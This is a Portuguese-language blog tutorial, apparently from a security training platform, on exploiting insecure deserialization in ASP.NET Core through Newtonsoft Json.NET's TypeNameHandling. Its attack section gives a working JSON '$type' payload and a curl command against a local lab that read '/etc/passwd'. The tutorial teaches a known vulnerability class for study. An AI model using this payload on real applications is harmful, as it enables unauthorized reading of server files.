Explorando desserialização insegura em ASP.NET Core

Explorando desserialização insegura em ASP.NET Core

Nesse artigo abordaremos a exploração de desserialização insegura em aplicações que fazem uso do ASP.NET Core. Antes de mergulharmos nos detalhes desse tópico, é crucial compreender o que é .NET Core e ASP.NET Core.

O que é .NET Core e ASP.NET Core?

O .NET Core é uma versão do .NET que oferece compatibilidade nos sistemas operacionais Linux, Windows e macOS. Desenvolvido pela Microsoft, o .NET abrange diversas linguagens de programação, incluindo C#, F# e VB.NET. Dentro do ecossistema do .NET, temos o ASP.NET e o ASP.NET Core, ambos destinados ao desenvolvimento de aplicativos web e APIs.

O que é desserialização insegura?

A desserialização insegura é uma vulnerabilidade que permite com que o atacante controle objetos que estão sendo desserializados pela aplicação. Os riscos associados a essa falha de segurança variam desde simples ataques de negação de serviço (DoS) até a execução remota de código (RCE) no servidor-alvo.

Explorando desserialização insegura

No processo de explorar a desserialização insegura, é importante mencionar uma biblioteca amplamente empregada em aplicações ASP.NET: o "Newtonsoft Json.NET." Essa biblioteca desempenha um papel significativo na manipulação de dados em formato JSON. Vamos examinar como ocorre a serialização e desserialização de dados utilizando essa biblioteca.

Entendendo a serialização

Para realizar a serialização de objetos e convertê-los em formato JSON por meio do Newtonsoft Json.NET, empregamos o método "SerializeObject," conforme ilustrado no exemplo a seguir:

User newUser = new User { Name = "Jhon", Email = "[email protected]", Age = 20 };

string json = JsonConvert.SerializeObject(newUser);

Console.WriteLine(json);

O output dessa serialização seria:

{"Name": "Jhon", "Email": "[email protected]", "Age": 20}

Entendendo a desserialização

Para realizar a desserialização do JSON, empregamos o método DeserializeObject<Object>. A seguir, apresentamos um exemplo:

Classe User:

public class User
{
	public string Name { get; set; }
	public string Email { get; set; }
	public int Age { get; set; }
}

Json:

{"Name": "Jhon", "Email": "[email protected]", "Age": 20}

AIMPORTANTE: Ao realizar a desserialização do objeto, precisamos especificar o tipo do objeto.

string jsonInput = "{\"Name\": \"Jhon\", \"Email\": \"[email protected]\", \"Age\": 20}";

User newUser = JsonConvert.DeserializeObject<User>(jsonInput);

Console.WriteLine($"Name: {newUser.Name}");

Observa-se que o tipo do objeto foi especificado em "DeserializeObject<User>".

TypeNameHandling e seus problemas de segurança

O TypeNameHandling é uma opção que podemos configurar no Newtonsoft Json.NET. Com essa opção habilitada, os objetos serializados possuem o campo "$type", que revela o tipo do objeto. Durante a desserialização desses dados, não é necessário especificar manualmente o tipo de objeto, pois o campo "$type" já indica para o Newtonsoft Json.NET qual é o tipo do objeto.

Exemplo de serialização com TypeNameHandling

User newUser = new User { Name = "Jhon", Email = "[email protected]", Age = 20 };

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

string json = JsonConvert.SerializeObject(newUser, settings);
Console.WriteLine(json);

O json gerado pela serialização seria parecido com o abaixo:

{
    "$type": "Namespace.User, AssemblyAppName",
    "Name": "Jhon",
    "Email": "[email protected]"
    "Age": 20
}

Exemplo de desserialização com TypeNameHandling

string jsonInput = "{\"$type\": \"Namespace.User, AssemblyAppName\", \"Name\": \"Jhon\", \"Email\": \"[email protected]\", \"Age\": 20}";

JsonSerializerSettings settings = new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
};

User newUser = JsonConvert.DeserializeObject(jsonInput);

Console.WriteLine($"Name: {newUser.Name}");

Perceba que agora não necessita especificar o tipo de objeto na desserialização, pois o Newtonsoft Json.NET irá obter o tipo no campo "$type".

Problemas de segurança

Conforme mencionado anteriormente, o campo "$type" no json especifica o tipo do objeto que foi serializado. Dessa forma, o objeto indicado nesse campo será chamado no processo de desserialização. Agora, considere a seguinte situação: um usuário mal intencionado modifica o Json especificando outro objeto da aplicação no campo "$type". Isso permitiria a esse usuário acessar e modificar propriedades de outros objetos da aplicação.

Exemplo de ataque

Ao analisar o código fonte da aplicação, vemos que o TypeNameHandling foi configurado globalmente:

Ao examinar a Controller "ExampleController", vemos que a rota "/api/example" no método GET retorna um objeto do tipo "UserModel", e no método POST é esperado um Json com o objectType "UserModel":

Enviando uma requisição GET para "/api/example":

{
    "$type":"UserModel, Example",
    "name":"tris0n",
    "email":"[email protected]",
    "age":16,
    "personalInfo": {
    	"$type":"PersonalInfo, Example",
    	"cpf":"999.999.999-99"
    }
}

Perceba que na propriedade "personalInfo" é retornado um objeto do tipo "PersonalInfo".

Analisando o objeto UserModel:

Observamos que no objeto "UserModel" existe a propriedade "PersonalInfo", e ela é do tipo "object". Isso implica que podemos definir qualquer tipo de objeto nessa propriedade. Ao analisar o Json que recebemos, notamos que o objeto "PersonalInfo" foi especificado na mesma forma.

Analisando o objeto "PersonalInfo":

Vemos que ele possuí apenas uma propriedade: "CPF".

Analisando o objeto "ConfigModel":

Observamos que o getter da propriedade "configContent" lê o arquivo especificado na propriedade "configPath". Em outras palavras, se conseguirmos acessar esse objeto podemos ler arquivos do servidor.
Conforme analisado anteriormente, podemos realizar uma requisição POST para a rota "/api/example" enviando um objeto do tipo "UserModel":

Ao enviar um objeto do tipo "UserModel", a aplicação retorna o próprio objeto que enviamos. Embora este endpoint aceite apenas objetos do tipo "UserModel," observamos que dentro desse objeto, a propriedade "personalInfo" aceita objetos de qualquer tipo,com isso, podemos chamar outros objetos da aplicação.

Explorando vulnerabilidade e lendo arquivos do servidor

Como visto anteriormente, existe o objeto "ConfigModel", e ao obtermos o controle nos valores de suas propriedades conseguimos ler arquivos do servidor alvo.

Podemos especificá-lo na propriedade "personalInfo":

{
    "$type":"UserModel, Example",
    "name":"tris0n",
    "email":"[email protected]",
    "age":16,
    "personalInfo":{
        "$type":"ConfigModel, Example"
    }
}

Vemos que recebemos um Json contendo as propriedades do objeto "ConfigModel". Isso significa que conseguimos chamar o objeto. Alterando a propriedade "configPath" para "/etc/passwd", conseguimos ler o arquivo com sucesso:

Payload utilizada:

{
	"$type":"UserModel, Example",
	"name":"tris0n",
	"email":"[email protected]",
	"age":16,
	"personalInfo":{
	"$type":"ConfigModel, Example",
		"configPath": "/etc/passwd"
	}
}

Exploração utilizando curl:

curl http://localhost:5023/api/example -H "Content-type: application/json" -d '{"$type":"UserModel, Example","name":"tris0n","email":"[email protected]","age":16,"personalInfo":{"$type":"ConfigModel, Example", "configPath": "/etc/passwd"}}' | jq

Nesse cenário específico foi possível ler arquivos do servidor, mas em outros cenários, talvez conseguiríamos apenas um DoS, ou até mesmo um RCE, assim comprometendo o servidor alvo.

A desserialização insegura será diferente em cada aplicação, e se tivermos acesso ao código fonte, a possibilidade de obtermos RCE são significativas.

Esse post abordou apenas uma maneira de explorar desserialização insegura, utilizando TypeNameHandling da biblioteca Newtonsoft Json.NET. No entanto, existem diversas formas de ataques à desserialização insegura em ASP.NET Core.

Observação: O laboratório utilizado nesse post está disponibilizado em nosso github. Acesse o link do repositório abaixo:

blog/chall-dotnet-deserialization at main · crowsec-edtech/blog
Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

Onde encontramos desserialização insegura?

Como dito anteriormente, para explorarmos desserialização insegura e impactarmos o servidor de uma maneira significativa, precisamos analisar o código da aplicação alvo. Seguindo essa linha de pensamento, a desserialização insegura é muito encontrada em aplicações e bibliotecas open-source que manipulam dados serializados, pois temos acesso livre ao código fonte. Veja abaixo algumas CVEs que exploram desserialização insegura:

CVE-2019-18935: Remote Code Execution via Insecure Deserialization in…
Telerik UI for ASP.NET AJAX insecurely deserializes JSON objects resulting in arbitrary RCE. Learn how to patch and securely configure this software.
Zero Day Initiative — CVE-2022-38108: RCE in SolarWinds Network Performance Monitor
In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Justin Hong and Lucas Miller of the Trend Micro Research Team detail a recently patched remote code execution vulnerability in the SolarWinds Network Performance Monitor. This bug was originally discovered and repo
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution. CVE-2023-34634 . local exploit for Windows platform

Laboratório utilizado:

blog/chall-dotnet-deserialization at main · crowsec-edtech/blog
Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

Referências

Serializing and Deserializing JSON
OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation
A8:2017-Insecure Deserialization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Onde praticar desserialização insegura ?

Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 100 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.

Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!